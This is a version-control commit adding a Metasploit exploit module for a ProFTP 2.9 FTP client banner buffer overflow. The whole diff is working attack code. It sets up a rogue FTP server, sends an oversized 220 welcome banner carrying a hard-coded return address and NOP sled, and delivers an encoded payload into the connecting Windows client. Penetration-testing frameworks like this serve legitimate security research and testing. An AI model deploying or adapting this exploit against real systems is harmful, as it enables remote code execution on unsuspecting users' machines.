Adds His0k4's ProFTP 2.9 FTP Client server banner overflow module

git-svn-id: file:///home/svn/framework3/trunk@6975 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/proftp_banner.rb

@@ -0,0 +1,64 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',
+			'Description'    => %q{
+				This module exploits a buffer overflow in the ProFTP 2.9
+				client that is triggered through an excessively long welcome message.
+			},
+			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     => 
+				[ 
+					[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 1000,
+					'BadChars' => "\x00\x0a\x0d\x20",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					# Tested against - XP SP3 English OK.
+					[ 'Universal', 	{ 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
+				],
+			'Privileged'     => false,
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[ 
+				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
+			], self.class)
+	end
+
+	def on_client_connect(client)
+		return if ((p = regenerate_payload(client)) == nil)	
+
+		buffer =  "220 "
+		buffer << rand_text_numeric(2064)
+		buffer << [target.ret].pack('V')
+		buffer << make_nops(20)
+		buffer << payload.encoded
+		buffer << "\r\n"
+		client.put(buffer)
+	end
+	
+end